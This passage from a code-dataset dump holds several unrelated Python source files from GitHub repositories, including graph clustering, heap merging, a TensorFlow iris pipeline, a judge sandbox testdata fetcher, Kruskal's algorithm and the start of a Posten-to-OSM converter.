X1[i, :] / s\n # res_1 = X1[i, :]\n # print(X1[i, :])\n\n # I = list(range(0, n))\n # K_matrix[i][i] = 0\n # s = torch.sum(K_matrix[I, i])\n # for l in range(p):\n # # print(X2[I, l].shape)\n # # print(K_matrix[I, i].shape)\n # # print((X2[I, l] * K_matrix[I, i]).shape)\n # # exit()\n # X1[i, l] = torch.sum(X2[I, l] * K_matrix[I, i])\n # X1[i, :] = X1[i, :] / s\n # res_2 = X1[i, :]\n # # print(X1[i, :])\n # # print(res_1 == res_2)\n # print(torch.sum(res_1 == res_2))\n Identify_Matrix = 1 - torch.eye(K_matrix.shape[0])\n # print(K_matrix * Identify_Matrix)\n K_matrix = K_matrix * Identify_Matrix\n X1 = torch.mm(K_matrix.t(), X2)\n s = torch.sum(K_matrix, dim = 1)\n s = torch.unsqueeze(s, dim = 1)\n # print(s)\n X1 = X1 / s\n # print(X1)\n # print(X1[i, :] / s)\n # print(torch.sum(res_1 == res_3))\n # print(res_1)\n # print(res_3)\n # print(res_1 == res_3)\n\n D = torch.sum(torch.square(X - X1), dim = 0)\n w = torch.exp(-D / _lambda)\n w = w / torch.sum(w)\n X2 = X1.clone()\n # print('done')\n # exit()\n # print(X2)\n # print(id(X1))\n # print(id(X2))\n return X2, w\n\nclass graph_components:\n def __init__(self):\n pass\n def tr(self, G):\n #初始化翻转边的图GT\n GT = dict()\n for u in G.keys():\n GT[u] = GT.get(u,set())\n #翻转边\n for u in G.keys():\n for v in G[u]:\n GT[v].add(u)\n return GT\n\n #获取按节点遍历完成时间递减排序的顺序\n def topoSort(self, G):\n res=[]\n S=set()\n #dfs遍历图\n def dfs(G,u):\n if u in S:\n return\n S.add(u)\n for v in G[u]:\n if v in S:\n continue\n dfs(G,v)\n res.append(u)\n #检查是否有遗漏的节点\n for u in G.keys():\n dfs(G,u)\n #返回拓扑排序后的节点列表\n res.reverse()\n return res\n\n #通过给定的起始节点,获取单个连通量\n def walk(self, G, s, S = None):\n if S is None:\n s = set()\n Q = []\n P = dict()\n Q.append(s)\n P[s] = None\n while Q:\n u = Q.pop()\n for v in G[u]:\n if v in P.keys() or v in S:\n continue\n Q.append(v)\n P[v] = P.get(v,u)\n #返回强连通图\n return P\n\n def build_graph(self, A):\n G = dict()\n for i in range(A.shape[0]):\n # print(A[i, :])\n nonzero_idx = torch.nonzero(A[i, :])\n nonzero_idx = torch.squeeze(nonzero_idx, dim = 1)\n # print(nonzero_idx.numpy().tolist())\n G[i] = set(nonzero_idx.numpy().tolist())\n \n return G\n\n def components(self, G):\n #记录强连通分量的节点\n seen = set()\n #储存强强连通分量\n scc = []\n GT = self.tr(G)\n for u in self.topoSort(G):\n if u in seen :\n continue\n C = self.walk(GT,u,seen)\n seen.update(C)\n scc.append(sorted(list(C.keys())))\n\n print('scc', scc)\n return scc\n\n def build_set(self, clu):\n\n res = dict()\n id = 0\n for single_component in clu:\n for j in single_component:\n res[j] = id\n id += 1\n print('res', res)\n return res\n\n\ndef U2clus(U, epsa = 1e-5):\n n = U.shape[0]\n A = torch.zeros(n, n)\n print(U)\n for i in range(n):\n for j in range(n):\n # print(U[i, :])\n # print(U[j, :])\n # print(torch.norm(U[i, :] - U[j, :]))\n if (torch.norm(U[i, :] - U[j, :]) < epsa):\n A[i, j] = 1\n graph_component_solver = graph_components()\n g = graph_component_solver.build_graph(A)\n clu = graph_component_solver.components(g)\n res = graph_component_solver.build_set(clu)\n return res","repo_name":"cfuser/WBMS","sub_path":"project_in_Python/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":8529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"11828591924","text":"\"\"\"You are given a sequence of n integers a1,a2,---,an.\nYou have to construct two sequence of integers b and c with length n that satisfy:\n 1. for every i (1<= i <= n): bi+ci=ai\n 2. b is non-decreasing which means that for every 1< i <= n,bi>=bi-1 must hold\n 3. c is non-increasing,ehich means that for very 1<= i <=n, ci<=ci-1 must hold\nYou have to maximize max(bi,ci)\nIn othr words,you have to minimize the maximum number in sequences\nb and c.\n\"\"\"\n# Increase is handled by b (b is ascending)\n # If b[0] = num\n # Maximum in b is sum of all increases (last element in b) (num + sum of all increases)\n# Decrease is handled by c (c is descending)\n # Maximum in c is the first number in c(a[0]-num)\n\n# sum of all increases = diff\n# ans = max(num+diff,a[0]-num)\n# num+diff = a[0]-num (Go until max(b) = max(c))\n# num = a[0]-diff/2\n# final answer will be a[0]+diff/2\n\nT = int(input(\"Enter no.of testcases:\"))\n\nfor case in range(T):\n n = int(input(\"Enter size of array:\"))\n arr = list(map(int, input().split()))\n\n diff = 0\n for i in range(1 ,len(arr)):\n if arr[i] > arr[i-1]:\n diff += (arr[i] - arr[i-1])\n ans = (diff + arr[0])//2 # Divide an odd number into two.\n ans = max(ans, diff+arr[0] - ans)\n\n print(ans)\n \n#Enter no.of testcases:2\n#Enter size of array:4\n#2 -1 7 3\n#5\n#Enter size of array:6\n#-9 -10 -9 -6 -5 4\n#3\n\n","repo_name":"chinmairam/Python","sub_path":"increasing_decreasing_seq.py","file_name":"increasing_decreasing_seq.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"15434639223","text":"# Merge `M` sorted lists of variable length\n# Given M sorted lists of variable length, merge them efficiently in sorted order.\n# https://www.techiedelight.com/merge-m-sorted-lists-variable-length/\n\n\n'''\nInput: 4 sorted lists of variable length\n \n[10, 20, 30, 40]\n[15, 25, 35]\n[27, 29, 37, 48, 93]\n[32, 33]\n \nOutput:\n \n[10, 15, 20, 25, 27, 29, 30, 32, 33, 35, 37, 40, 48, 93]\n\n'''\n#\n'''\nWe can easily solve this problem in O(N.log(M)) time by using a min-heap. \nThe idea is to construct a min-heap of size M and insert the first element of each list into it. \nThen pop the root element (minimum element) from the heap and insert the next element from the “same” list as the popped element.\n'''\n\ndef left(i): return 2*i + 1\ndef right(i): return 2*i + 2\ndef parent(i): return (i-1) // 2\n#\n\nclass Node:\n def __init__(self, value, list_num, index):\n self.value = value\n self.list_num = list_num\n self.index = index\n#end Class\n\n\ndef insert(heap, key):\n heap.append( key )\n i = len( heap ) - 1\n \n while i > 0 and heap[ parent(i) ].value > heap[ i ].value:\n heap[ parent(i) ], heap[i] = heap[i], heap[ parent(i) ]\n i = parent(i)\n#end def ^^^\n\n\ndef extractMin(L, heap):\n min_value = heap[0].value\n min = heap[0]\n print( min_value, end = \" \" )\n #\n if min.index + 1 < len( L[ min.list_num ] ):\n min.index = min.index + 1\n min.value = L[ min.list_num ][ min.index ]\n heapify(heap, 0, len(heap) )\n else:\n heap[0], heap[-1] = heap[-1], heap[0]\n heap.pop( -1 )\n heapify(heap, 0, len(heap) )\n #\n#end def \n\n\ndef heapify(T,i,n):\n l = left(i)\n r = right(i)\n\n max_ind = i\n if l < n and T[ l ].value < T[ max_ind ].value: max_ind = l\n if r < n and T[ r ].value < T[ max_ind ].value : max_ind = r \n\n if max_ind != i:\n T[i], T[ max_ind ] = T[ max_ind ], T[i]\n heapify(T, max_ind, n)\n#end def ^^^\n\ndef buildheap(T):\n n = len(T)\n for i in range( parent( n - 1 ), -1, -1):\n heapify(T, i, n)\n#end def ^^^\n\n\ndef merge(L):\n heap = [ Node( L[i][0], i, 0 ) for i in range( len(L) ) if len( L[i] ) >= 1 ]\n buildheap(heap)\n\n while heap:\n extractMin(L, heap)\n\n#end def ^^^\n\nlist = [ [10, 20, 30, 40], [15, 25, 35], [27, 29, 37, 48, 93], [32, 33], [1,5,15,18,19,19,25,100,1000] ]\nmerge( list )\n","repo_name":"pawlowiczf/ASD-2022-2023","sub_path":"Sortowanie marzec 2023/Struktury Heap/3_!.py","file_name":"3_!.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"69806936677","text":"import tensorflow as tf\n\nfrom sklearn.model_selection import train_test_split\n\nfrom dbnd import ConfigPath, data, output, parameter\nfrom dbnd.tasks import PipelineTask, PythonTask\nfrom dbnd_examples.orchestration.tool_tensorflow import iris\n\n\nCSV_COLUMN_NAMES = [\"SepalLength\", \"SepalWidth\", \"PetalLength\", \"PetalWidth\", \"Species\"]\n\n\nclass DownloadKeras(PythonTask):\n task_target_date = None\n url = parameter[str]\n downloaded = output.csv\n\n def run(self):\n tf.keras.utils.get_file(self.downloaded.path, self.url)\n\n\nclass PrepareTestAndValidationData(PythonTask):\n raw_data = data\n validation_size = parameter(default=0.5)\n\n test = output.csv\n validation = output.csv\n\n def run(self):\n raw = self.raw_data.read_df()\n test_df, validation_df = train_test_split(raw, test_size=self.validation_size)\n\n test_df.to_target(self.test, index=False)\n validation_df.to_target(self.validation, index=False)\n\n\nclass TrainIrisModel(PythonTask):\n train_set = data\n test_set = data\n\n batch_size = parameter[int]\n train_steps = parameter[int]\n\n model = output.folder\n model_data = output.folder\n\n def _load_data(self, y_name=\"Species\"):\n train = self.train_set.read_df(names=CSV_COLUMN_NAMES, header=0)\n train_x, train_y = train, train.pop(y_name)\n\n test = self.test_set.read_df(names=CSV_COLUMN_NAMES, header=0)\n test_x, test_y = test, test.pop(y_name)\n\n return (train_x, train_y), (test_x, test_y)\n\n def run(self):\n (train_x, train_y), (test_x, test_y) = self._load_data()\n self.model_data.mkdir()\n classifier = iris.build_classifier(train_x, self.model_data.path)\n\n classifier.train(\n input_fn=lambda: iris.train_input_fn(train_x, train_y, self.batch_size),\n steps=self.train_steps,\n )\n\n evaluation = classifier.evaluate(\n input_fn=lambda: iris.eval_input_fn(test_x, test_y, self.batch_size)\n )\n\n for metric_name in evaluation.keys():\n self.log_metric(metric_name, evaluation[metric_name])\n\n self.model.mkdir_parent()\n t_model = classifier.export_savedmodel(\n self.get_target(name=\"tmp/model\").path, iris.create_receiver_fn()\n )\n\n self.model.move_from(t_model)\n self.model_data.mark_success()\n\n # merged = tf.summary.merge_all()\n # train_writer = tf.summary.FileWriter(FLAGS.summaries_dir + '/train',\n # sess.graph)\n # test_writer = tf.summary.FileWriter(FLAGS.summaries_dir + '/test')\n\n\nclass ValidateIrisModel(PythonTask):\n validation_set = data\n model = data\n\n report = output.csv\n\n def run(self):\n data = self.validation_set.read_df(names=CSV_COLUMN_NAMES, header=0)\n predictions = iris.predict(data=data, model_path=self.model.path)\n predictions.to_target(self.report)\n\n\nclass PredictIrisType(PipelineTask):\n batch_size = parameter.default(100)[int]\n train_steps = parameter.default(1000)[int]\n\n train_set_url = parameter(\n config_path=ConfigPath(\"dbnd_examples\", \"iris_train_url\")\n )[str]\n test_set_url = parameter(config_path=ConfigPath(\"dbnd_examples\", \"iris_test_url\"))[\n str\n ]\n\n report = output\n\n def band(self):\n train = DownloadKeras(url=self.train_set_url)\n test = DownloadKeras(url=self.test_set_url)\n\n data = PrepareTestAndValidationData(raw_data=test.downloaded)\n\n model = TrainIrisModel(\n train_set=train.downloaded,\n test_set=data.test,\n batch_size=self.batch_size,\n train_steps=self.train_steps,\n )\n\n self.report = ValidateIrisModel(\n model=model.model, validation_set=data.validation\n ).report\n","repo_name":"databand-ai/dbnd","sub_path":"examples/src/dbnd_examples/orchestration/tool_tensorflow/tf_iris.py","file_name":"tf_iris.py","file_ext":"py","file_size_in_byte":3807,"program_lang":"python","lang":"en","doc_type":"code","stars":245,"dataset":"github-code","pt":"0"}
+{"seq_id":"42356837106","text":"import os\nfrom PIL import Image\n\nif 'opt' not in os.listdir('.'):\n os.mkdir('opt')\nif 'icons' not in os.listdir('opt'):\n os.mkdir(os.path.join('opt', 'icons'))\n\nimages = os.listdir('images')\nfor image in images:\n if image.startswith('.'):\n continue\n with Image.open(os.path.join('images', image)) as img:\n img.rotate(-90).convert('RGB').resize((128, 128)).save(os.path.join('opt', 'icons', image), \"JPEG\")\n","repo_name":"Manhalmaath/image_manipulating_project","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"5021598035","text":"\"\"\"\r\n2.13 - Consider that you have the number of students (N) in a course, the list of marks obtained by these students \r\nin a discipline and the list of numbers of the class to which they belong. Calculate the arithmetic mean of \r\nthe marks obtained by the students in each class. \r\n(Note: Consider that there is no more than 6 classes) \r\nEx: Number of students: 10 \r\nclass 1 2 1 3 1 3 3 2 2 3\r\nmarks 12 13 10 10 14 16 12 10 10 14\r\nClass\r\n3 13\r\n2 11\r\n1 12\r\nR : Class Mean\r\n\"\"\"\r\nfrom random import randint\r\n\r\nn = 0\r\n\r\nwhile n <= 0:\r\n n = int(input(\"Enter the number of students: \"))\r\n if n <= 0:\r\n print(\"Warning: The number of studentes must be greate rthan zero. Try again.\")\r\n\r\nlist_of_classes = []\r\nlist_of_marks = []\r\n\r\nfor x in range(n):\r\n list_of_marks.append(randint(0, 20))\r\n list_of_classes.append(randint(1, 6))\r\n\r\nprint(\"Classes:\", list_of_classes)\r\nprint(\"Marks:\", list_of_marks)\r\n\r\nlarger_class_number = max(list_of_classes)\r\nprint(\"Class\")\r\nfor class_number in range(1, larger_class_number + 1):\r\n arithmetic_mean = 0.0\r\n number_of_marks = 0\r\n if class_number in list_of_classes:\r\n for x in range(len(list_of_marks)):\r\n if list_of_classes[x] == class_number:\r\n number_of_marks += 1\r\n arithmetic_mean += list_of_marks[x]\r\n\r\n if number_of_marks != 0:\r\n arithmetic_mean = arithmetic_mean // number_of_marks\r\n print(\"%d: %d\" % (class_number, arithmetic_mean))\r\n\r\n \r\n\r\n","repo_name":"Diogojqalves/python-100-solved-exercises","sub_path":"exercicio-aula-1.py","file_name":"exercicio-aula-1.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"5892819173","text":"listItem = {'iphone': 10, 'samsung': 20, 'oppo': 0}\ntmp=0\nwhile (tmp == 0):\n item = input('Enter item need check: ')\n if(item != ''):\n if item in listItem and listItem[item] > 0:\n print('{} items vailable'.format(listItem[item]) )\n else:\n print('Out of stock!')\n else:\n tmp = 1","repo_name":"ngothuyhoa/Python_Exercises","sub_path":"Exercise_1/exercise5.py","file_name":"exercise5.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"38429116821","text":"\nimport re\n\n\na = '''The Wind in Berlin \nThe Wind in Berlin'''\n\nb = r'The.*Berlin$'\nx = re.search(b,a, re.MULTILINE)\ny = re.findall(b,a)\nprint(x)\nprint(y)\n\n\n\n\n# 1\n\n\nclass Findd:\n\n def res(self):\n\n a = r'\\b([A-Z][a-z]+\\s[A-Z][a-z]+)\\b'\n b = input()\n\n c = re.findall(a,b)\n print(''.join(c))\n\n#Findd().res()\n\n\n\n# 2\n\nclass Nums:\n\n def res(self):\n\n a = r'(\\+359-2-\\d{3}-\\d{4}|\\+359 2 \\d{3} \\d{4})\\b'\n b = input()\n c = re.findall(a,b)\n print(','.join(c))\n\nNums().res()\n\n\n\n\n\n\n\n","repo_name":"tonyH2O/exercises_solutions_1","sub_path":"f/f30.py","file_name":"f30.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"37713531261","text":"#!/usr/bin/env python\n\n\"\"\"\nDetermines covariance matrix from correlation matrix and systematic and\nstatistical uncertainties and finds its inverse using Cholesky\ndecomposition\n\"\"\"\n\nimport scipy\nimport scipy.linalg\nimport numpy as np\n\ndef Covinv(dim, c, sys):\n\n\t\"\"\"\n\tdim = dimensions of correlation matrix\n\tc = correlation matrix\n\tsys = systematic errors as (eCpipi, eSpipi,...)\n\t\"\"\"\n\n\tC = np.zeros((dim,dim))\n\n\tfor i in range(0,4):\n\t\tfor j in range(0,4):\n\t\t\tC[i][j] = sys[i]*sys[j]*c[i][j]\n\n\tL = scipy.linalg.cholesky(C, lower = True)\n\tU = scipy.linalg.cholesky(C, lower = False)\n\tCinv = np.dot(np.linalg.inv(U), np.linalg.inv(L)) #+np.identity(4)\n\n\treturn Cinv\n\n#c = scipy.array([[1, 0.448, -0.006, -0.009], [0.448, 1, -0.04, -0.006], [-0.006, -0.040, 1, -0.014], [-0.009, -0.006, -0.014, 1]])\n#sys = scipy.array([0.06,0.05,0.06,0.06])\n\n#print (Covinv(4, c, sys))\n\n","repo_name":"sarajokella/Masters-Project","sub_path":"Covariance.py","file_name":"Covariance.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"3231061309","text":"from turtle import Turtle\n\nclass Paddle(Turtle):\n def __init__(self, position):\n super().__init__()\n self.shape(\"square\")\n self.penup()\n self.setheading(90)\n self.shapesize(stretch_len=5)\n self.color(\"white\")\n self.goto(position)\n\n def move(self, speed):\n self.forward(speed)\n","repo_name":"jtp03a/python_learning","sub_path":"pong/paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"966164793","text":"import io\nimport json\nimport secrets\nimport shutil\nimport hashlib\nfrom pathlib import Path\nfrom zipfile import ZipFile\nimport requests as rq\n\nfrom .constant import Language\nfrom .meta import Meta\nfrom .utils import (\n get_redis_client,\n logger,\n)\nfrom .config import (\n BACKEND_API,\n SANDBOX_TOKEN,\n TESTDATA_ROOT,\n)\n\nMETA_DIR = TESTDATA_ROOT / 'meta'\nMETA_DIR.mkdir(exist_ok=True)\n\n\ndef calc_checksum(data: bytes) -> str:\n return hashlib.md5(data).hexdigest()\n\n\ndef handle_problem_response(resp: rq.Response):\n if resp.status_code == 404:\n raise ValueError('Problem not found')\n if resp.status_code == 401:\n raise PermissionError()\n if not resp.ok:\n logger().error(f'Error during get problem data [resp={resp.text}]')\n raise RuntimeError()\n\n\n# TODO: Schema validation\ndef fetch_problem_meta(problem_id: int) -> str:\n logger().debug(f'fetch problem meta [problem_id={problem_id}]')\n resp = rq.get(\n f'{BACKEND_API}/problem/{problem_id}/meta',\n params={\n 'token': SANDBOX_TOKEN,\n },\n )\n handle_problem_response(resp)\n content = json.dumps(resp.json()['data'])\n (META_DIR / f'{problem_id}.json').write_text(content)\n return content\n\n\ndef get_problem_meta(problem_id: int, language: Language) -> Meta:\n meta_path = META_DIR / f'{problem_id}.json'\n if not meta_path.exists():\n fetch_problem_meta(problem_id)\n obj = json.load(meta_path.open())\n obj['language'] = int(language)\n return Meta.parse_obj(obj)\n\n\ndef get_problem_root(problem_id: int) -> Path:\n return TESTDATA_ROOT / str(problem_id)\n\n\ndef fetch_testdata(problem_id: int):\n '''\n Fetch testdata from backend server\n '''\n logger().debug(f'fetch problem testdata [problem_id={problem_id}]')\n resp = rq.get(\n f'{BACKEND_API}/problem/{problem_id}/testdata',\n params={\n 'token': SANDBOX_TOKEN,\n },\n )\n handle_problem_response(resp)\n return resp.content\n\n\ndef get_checksum(problem_id: int) -> str:\n resp = rq.get(\n f'{BACKEND_API}/problem/{problem_id}/checksum',\n params={\n 'token': SANDBOX_TOKEN,\n },\n )\n handle_problem_response(resp)\n return resp.json()['data']\n\n\ndef ensure_testdata(problem_id: int):\n '''\n Ensure the testdata of problem is up to date\n '''\n client = get_redis_client()\n key = f'problem-{problem_id}-checksum'\n lock_key = f'{key}-lock'\n with client.lock(lock_key, timeout=15):\n curr_checksum = client.get(key)\n if curr_checksum is not None:\n curr_checksum = curr_checksum.decode()\n checksum = get_checksum(problem_id)\n if secrets.compare_digest(curr_checksum, checksum):\n logger().debug(\n f'problem testdata is up to date [problem_id={problem_id}]'\n )\n return\n logger().info(f'refresh problem testdata [problem_id={problem_id}]')\n testdata = fetch_testdata(problem_id)\n problem_root = get_problem_root(problem_id)\n if problem_root.exists():\n shutil.rmtree(problem_root)\n with ZipFile(io.BytesIO(testdata)) as zf:\n zf.extractall(problem_root)\n meta = fetch_problem_meta(problem_id)\n checksum = calc_checksum(testdata + meta.encode())\n client.setex(key, 600, checksum)\n","repo_name":"Normal-OJ/Sandbox","sub_path":"dispatcher/testdata.py","file_name":"testdata.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"15196280837","text":"# scSGL - a python package for fene regulatory network inference using graph signal processing based\r\n# signed graph learning\r\n# Copyright (C) 2021 Abdullah Karaaslanli \r\n#\r\n# This program is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with this program. If not, see .\r\n\r\nfrom itertools import combinations\r\n\r\nimport numba\r\nfrom numba.np.ufunc import parallel\r\nimport numpy as np\r\nfrom numpy.core.numeric import count_nonzero\r\n\r\nfrom scipy import stats\r\n\r\nfrom . import utils\r\n\r\nfrom rpy2 import robjects\r\nfrom rpy2.robjects.packages import importr\r\nfrom rpy2.robjects import numpy2ri\r\nnumpy2ri.activate()\r\n# dismay = importr(\"dismay\")\r\npcapp = importr(\"pcaPP\")\r\n\r\n@numba.njit\r\ndef _calc_kendall(x, y):\r\n P = 0\r\n Q = 0\r\n T = 0\r\n U = 0\r\n for i in range(len(x)):\r\n for j in range(i+1, len(x)):\r\n P += int(((x[i] > x[j]) and (y[i] > y[j])) or ((x[i] < x[j]) and (y[i] < y[j])))\r\n Q += int(((x[i] > x[j]) and (y[i] < y[j])) or ((x[i] < x[j]) and (y[i] > y[j])))\r\n T += int((x[i] == x[j]) and (y[i] != y[j]))\r\n U += int((x[i] != x[j]) and (y[i] == y[j]))\r\n\r\n denominator = np.sqrt((P+Q+T)*(P+Q+U)) \r\n return (P-Q)/denominator if denominator > 0 else 0\r\n\r\ndef _calc_nonzero_kendall(x, y):\r\n n_samples = len(x)\r\n if n_samples == 1:\r\n return 0\r\n elif len(np.unique(x)) == 1 or len(np.unique(y)) == 1:\r\n return 0\r\n else:\r\n tau, _ = stats.kendalltau(x, y)\r\n return 0 if np.isnan(tau) else tau\r\n\r\n@numba.njit\r\ndef _calc_nonzero_kendall_mat(counts):\r\n n_vars = counts.shape[0] \r\n results = np.eye(n_vars)\r\n for i in range(n_vars):\r\n for j in range(i+1, n_vars):\r\n x = counts[i, :]\r\n y = counts[j, :]\r\n nz = (x != 0) & (y != 0)\r\n results[i, j] = _calc_kendall(x[nz], y[nz])\r\n results[j, i] = results[i, j]\r\n return results\r\n\r\n@numba.njit\r\ndef _calc_p(counts):\r\n n_vars = counts.shape[0] \r\n results = np.zeros((n_vars, n_vars))\r\n for i in range(n_vars):\r\n for j in range(n_vars):\r\n if i==j:\r\n continue\r\n x = counts[i, :]\r\n y = counts[j, :]\r\n\r\n y = y[x!=0]\r\n x = x[x!=0]\r\n\r\n x10 = x[y==0]\r\n\r\n x11 = np.expand_dims(x[y!=0], axis=1)\r\n\r\n if len(x11) > 0 and len(x10) > 0:\r\n results[i, j] = np.count_nonzero(x10 > x11)/(len(x11)*len(x10))\r\n elif len(x11) == 0:\r\n results[i, j] = 1\r\n elif len(x10) == 0:\r\n results[i, j] = 0\r\n\r\n return results\r\n\r\ndef _nonzero_kendall(X):\r\n n_samples = X.shape[0]\r\n result = np.eye(n_samples)\r\n for i in range(n_samples):\r\n x = X[i, :]\r\n sorting_indices = np.argsort(x)\r\n x = x[sorting_indices]\r\n for j in range(i+1, n_samples):\r\n y = X[j, :]\r\n y = y[sorting_indices]\r\n nnzeros = (x != 0) & (y != 0)\r\n\r\n result[i, j] = pcapp.cor_fk(x[nnzeros], y[nnzeros])\r\n result[j, i] = result[i, j]\r\n\r\n return result\r\n\r\ndef calc(counts):\r\n # tau11 = dismay.cor_fk_nz(counts.T)\r\n tau11 = _nonzero_kendall(counts)\r\n\r\n n_samples = counts.shape[1]\r\n \r\n nz = counts != 0\r\n p11 = (nz.astype(np.int)@(nz.T).astype(np.int))/n_samples\r\n p00 = (np.logical_not(nz).astype(np.int)@np.logical_not(nz.T).astype(np.int))/n_samples\r\n p01 = (np.logical_not(nz).astype(np.int)@(nz.T).astype(np.int))/n_samples\r\n p10 = (nz.astype(np.int)@np.logical_not(nz.T).astype(np.int))/n_samples\r\n\r\n p1 = _calc_p(counts)\r\n\r\n if np.any(np.isnan(tau11)):\r\n tau11[np.isnan(tau11)] = 0\r\n\r\n return p11**2 * tau11 + 2*(p00*p11 - p01*p10) + 2*p11*(p10*(1 - 2*p1) + p01*(1 - 2*p1.T))\r\n\r\n\r\ndef permutations(counts, k, tau_neg, tau_pos):\r\n # TODO: Docstring\r\n\r\n return utils._permutations(counts, calc, k, tau_neg, tau_pos)\r\n\r\ndef associations(counts, k):\r\n # TODO: Docstring\r\n \r\n return utils._associations(counts, calc, k)","repo_name":"Single-Cell-Graph-Learning/scSGL","sub_path":"pysrc/associations/zikendall.py","file_name":"zikendall.py","file_ext":"py","file_size_in_byte":4581,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"1651337467","text":"from django import forms\nfrom django.forms import ModelForm\nfrom .models import RacketReviewModel\n\n\n# class ReviewForm(ModelForm):\n# # 모델 폼은 이너 클래스인 Meta 클래스가 반드시 필요하다.\n# # Meta 클래스에는 사용할 모델과 모델의 속성을 적어야 한다.\n# class Meta:\n# model = VisitorReview\n# fields = ['visitorReview']\n# labels = {\n# 'visitorReview': '라켓 리뷰'\n# }\n\nclass ReviewForm(forms.Form):\n visitorReview = forms.CharField(\n max_length=100,\n label='한줄평',\n widget=forms.TextInput(attrs={\n 'class': 'textReview',\n })\n )\n\n visitorScore = forms.IntegerField(\n label='한줄평',\n widget=forms.NumberInput(attrs={\n 'class': 'scoreReview',\n })\n )\n\n","repo_name":"HiImYong/projectSNR","sub_path":"racketReview/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"19638119307","text":"import heapq\n\n\nclass UnionFind:\n def __init__(self, size: int):\n self.__size = size\n self.__root = [-1] * size\n\n def find(self, x: int)->int:\n if self.__root[x] < 0:\n return x\n\n root = self.find(self.__root[x])\n self.__root[x] = root\n\n return root\n\n def same(self, x: int, y: int)->bool:\n return self.find(x) == self.find(y)\n\n def union(self, x: int, y: int):\n rx, ry = self.find(x), self.find(y)\n\n if rx == ry:\n return\n\n if self.__root[ry] < self.__root[rx]:\n rx, ry = ry, rx\n\n self.__root[rx] += self.__root[ry]\n self.__root[ry] = rx\n\n\nclass PriorityQueue:\n def __init__(self):\n self.__heap = []\n self.__count = 0\n\n def empty(self) -> bool:\n return self.__count == 0\n\n def dequeue(self):\n if self.empty():\n raise Exception('empty')\n self.__count -= 1\n return heapq.heappop(self.__heap)\n\n def enqueue(self, v):\n self.__count += 1\n heapq.heappush(self.__heap, v)\n\n def __len__(self):\n return self.__count\n\n\ndef kruskal(edges: list, size: int)->list:\n q = PriorityQueue()\n for c, u, v in edges:\n q.enqueue((c, u, v))\n uf = UnionFind(size)\n\n min_tree = []\n while not q.empty():\n c, u, v = q.dequeue()\n\n if not uf.same(u, v):\n uf.union(u, v)\n min_tree.append((c, u, v))\n\n return min_tree\n\n\ndef built(N: int, points: list)->int:\n edges = []\n points = [(i, x, y) for i, (x, y) in enumerate(points)]\n sorted_x = sorted(points, key=lambda p: p[1])\n sorted_y = sorted(points, key=lambda p: p[2])\n\n for i in range(N-1):\n u, ux, _ = sorted_x[i]\n v, vx, _ = sorted_x[i+1]\n edges.append((vx-ux, u, v))\n\n u, _, uy = sorted_y[i]\n v, _, vy = sorted_y[i+1]\n edges.append((vy-uy, u, v))\n\n tree = kruskal(edges, 2*(N-1))\n\n return sum(c for c, _, _ in tree)\n\n\nif __name__ == \"__main__\":\n N = int(input())\n points = [tuple(map(int, input().split())) for _ in range(N)]\n ans = built(N, points)\n print(ans)\n","repo_name":"cry999/AtCoder","sub_path":"beginner/065/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"30528936694","text":"#!/usr/bin/env python3\n# -*- coding: utf8\n\n# post2osm\n# Converts post offices, parcel lockers and post boxes from Posten api to osm format for import/update\n# Usage: python post2osm.py\n# Creats output files 'postkontor.osm' and 'postkasser.osm'\n\n\nimport html\nimport sys\nimport urllib.request\nfrom xml.etree import ElementTree\n\n\nversion = \"1.2.0\"\n\n\ntransform_name = [\n\t('MENY', 'Meny'),\n\t('REMA', 'Rema'),\n\t('KIWI', 'Kiwi'),\n\t('EUROSPAR', 'Eurospar'),\n\t('SPAR', 'Spar'),\n\t('AMFI', 'Amfi'),\n\t('AS', ''),\n\t('As ', ''),\n\t('A/L', ''),\n\t('BYGG', 'Bygg'),\n\t('Sentrum', 'sentrum'),\n\t('- avd. Roan', ''),\n\t('Eftf', 'eftf'),\n\t('Handelslag', 'handelslag'),\n\t('Handelskompani', 'handelskompani'),\n\t('Service Senter', 'servicenter'),\n\t('Servicenter', 'servicenter'),\n\t('Bilsenter As', 'bilsenter'),\n\t('Storsenter', 'storsenter'),\n\t('Verk', 'verk'),\n\t('Maze', 'Máze'),\n\t(' 